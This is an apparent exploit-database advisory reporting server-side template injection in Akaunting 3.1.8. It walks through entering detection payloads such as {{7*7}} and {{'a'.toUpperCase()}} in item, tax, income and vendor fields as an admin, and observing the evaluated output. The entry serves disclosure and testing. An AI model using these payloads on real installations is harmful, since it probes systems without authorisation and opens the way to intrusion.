[webapps] Akaunting 3.1.8 - Server-Side Template Injection (SSTI)

# Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI) # Exploit Author: tmrswrr # Date: 30/05/2024 # Vendor: https://akaunting.com/forum # Software Link: https://akaunting.com/apps/crm # Vulnerable Version(s): 3.1.8 # Tested : https://www.softaculous.com/apps/erp/Akaunting 1 ) Login with admin cred and go to : Items > New Item https://127.0.0.1/Akaunting/1/common/items 2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers 3 ) Save it 4 ) You will be see result : 49 ==================================================================================== 1 ) Login with admin cred and go to :Settings > Taxes > New Tax https://127.0.0.1/Akaunting/1/settings/taxes/1/edit 2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers 3 ) Save it 4 ) You will be see result : 49 > {{'a'.toUpperCase()}} > A > {{'a'.concat('b')}} > ab ==================================================================================== 1 ) Login with admin cred and go to : Banking > Transactions > New Income https://127.0.0.1/Akaunting/1/banking/transactions/create?type=income 2 ) Write SSTI payload : {{7*7}} Description field 3 ) Save it 4 ) You will be see result : 49 > {{'a'.toUpperCase()}} > A > {{'a'.concat('b')}} > ab ======================================================================================= 1 ) Login with admin cred https://127.0.0.1/Akaunting/1/purchases/vendors/1/edit 2 ) Write SSTI payload : {{7*7}} Name field 3 ) Save it 4 ) You will be see result : 49 > {{'a'.toUpperCase()}} > A > {{'a'.concat('b')}} > ab